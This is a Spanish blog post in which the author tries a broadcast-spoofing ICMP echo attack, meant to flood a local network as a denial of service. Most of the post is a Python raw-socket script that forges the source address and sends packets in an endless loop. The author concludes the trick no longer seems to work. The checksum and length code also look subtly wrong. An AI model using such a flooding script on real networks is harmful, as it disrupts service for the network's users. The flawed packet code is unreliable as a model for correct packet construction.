Mandando paquetes ICMP ECHO personalizados con Python

Estos días he estado experimentando un poco con una característica de las redes. En concreto he intentando ver si era posible lanzar un paquete a la red cuyo origen es una dirección broadcast y el receptor, al mandar la respuesta, lo hiciera sin darse cuenta a todos los equipos de la red. Esto en efecto podría usarse para inutilizar una red por Denial of Service.

ICMP ECHO

La prueba la he hecho con un ICMP ECHO pero podría hacerse con otros protocolos también, como DHCP.

Un ICMP ECHO es lo que hace el famoso comando pingping6 (en IPv6). Se trata de un protocolo de la capa de red (capa 3 en TCP/IP). ICMP dispone de varias operaciones para funcionar correctamente (Internet Control Message Protocol, controlar la red) pero la mayoría de ellas no se utilizan. Una que sí se usa es el ECHO, que permite mandar una información a un host y el host nos tiene que devolver lo mismo.

¿Cómo sabe a donde tiene que enviar la respuesta? A la IP de origen del primer paquete claro, pero ¿y si mentimos? ¿Y si le ponemos que la IP de origen es la IP de broadcast? Supuestamente, enviaría la respuesta a todos los demás hosts de la subred.

Script en Python

Para poder hacer los datagramas IP personalizados y poder mentir, usé raw sockets. Estos solo me han funcionado en Linux. El código es muy simple, la parte que más me costó fue el checksum pues las operaciones con bytes en Python son un poco curiosas, no existiendo el tipo byte pero si bytes.

import socket
import struct
import random
import binascii
import sys
import functools

ICMP_CODE = socket.getprotobyname("icmp")
ICMP_ECHO = 8
IP_SRC = "192.168.0.255"
IP_DST = "192.168.0.255"

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)
    s.setsockopt(socket.SOL_IP,socket.IP_HDRINCL,1)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    packet_id = int((100000* random.random()) % 65535)
    packet = create_packet(packet_id)
    #print ("Size of packet: "+str(sys.getsizeof(packet)))
    s.sendto(packet,(IP_DST,0))

def create_header(data):
    version = 4 # IP version
    ihl = 5 # Numero de Bytes
    DF = 0
    Tlen = sys.getsizeof(data) + 20 # Longitud del datagrama
    ID = 1774 # ID de paquete
    Flag = 0 # Opciones
    Fragment = 0 # Numero de fragmento
    TTL = 128 # Tiempo de vida
    Proto = socket.IPPROTO_ICMP # Protocolo de los datos
    ip_checksum = checksum(data) # Checksum de los datos
    SIP = socket.inet_aton(IP_SRC) # Source IP address
    DIP = socket.inet_aton(IP_DST) # Destination IP address
    ver_ihl = (version << 4) + ihl
    f_f = (Flag << 13) + Fragment
    ip_hdr =  struct.pack("!BBHHHBBH4s4s", ver_ihl,DF,Tlen,ID,f_f,TTL,Proto,ip_checksum,SIP,DIP)
    return ip_hdr

def checksum(msg):
    flag = False
    suma = 0
    for byte in msg:
        if not flag:
            suma += (byte << 8)
        else:
            suma += byte
        flag = not flag
    resto = suma & 0xFFFF0000
    resto = resto >> 8
    suma += resto
    check = (~suma) & 0x0000FFFF
    return check

def create_data(id):
    header = struct.pack("bbHHh", ICMP_ECHO, 0, 0, id, 1)
    data = b"42"
    header = struct.pack("bbHHh", ICMP_ECHO, 0, socket.htons(checksum(header+data)), id, 1)
    return header + data

def create_packet(packet_id):
    data = create_data(packet_id)
    header = create_header(data)
    return header+data
while True:
    main()

Espero que a alguien le resulte interesante el código. Es un ejemplo de como generar datagramas sin la ayuda del sistema operativo. Además es importante saber que este tipo de programas solo pueden ejecutarse como root. Yo, por las pruebas que pude hacer, creo que los sistemas operativos actuales no son tontos y este tipo de ataques ya son conocidos. No pude capturar con Wireshark ninguno que fuese respuesta a broadcast, mientras que si la IP, aun siendo falsa, parecía real, sí que podía capturarla.
 

loading...